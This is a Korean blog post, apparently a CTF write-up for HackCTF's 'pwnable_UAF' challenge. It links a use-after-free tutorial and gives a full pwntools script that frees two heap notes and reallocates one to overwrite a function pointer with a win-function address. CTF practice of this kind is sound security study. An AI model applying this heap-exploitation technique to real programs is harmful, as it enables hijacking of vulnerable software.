본문 바로가기

CTF/HackCTF

HackCTF pwnable_UAF Write up

User After Free 문제이다~~

얼마전에 heap 공부하느라 hitcon training 을 풀어보았는데 문제가 약간 비슷한거같아서 쉽게 풀었다. 

UAF 개념만 이해한다면 얼마든지 푸는게 가능하다. 힙 정리본 있는데 필요하신분 페메 해주시면 보내드리겠다~

 

https://www.lazenca.net/pages/viewpage.action?pageId=29327365

 

07.Use-After-Free(UAF) (feat.tty_struct) - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List 07.Use-After-Free(UAF) (feat.tty_struct) 06.Use-After-Free(UAF) (feat.struct cred) 에서는 새로운 프로세스에 할당되는 "struct cred"를 이용하여 권한상을을 하였습니다.이번장에서는 struct tty_struct를 이용하여 권한상승하는 방식에 대하여 알아보겠습니다. Use-Aft

www.lazenca.net

 

보고 공부해서 풀면된다.~~~

 

from pwn import *

#p = process("./uaf")
p = remote("ctf.j0n9hyun.xyz",3020)

#one_shot = 0x8048986

def add_note(size, content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)

def del_note(idx):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))

def print_note(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))

one_shot = 0x8048986
add_note(24,"AAAA")
add_note(24,"BBBB")
del_note(0)
del_note(1)
add_note(8,p32(one_shot))
print_note(0)

log.info(p.recvline())

#p.interactive()

편하게 함수로 만들어서 풀었다~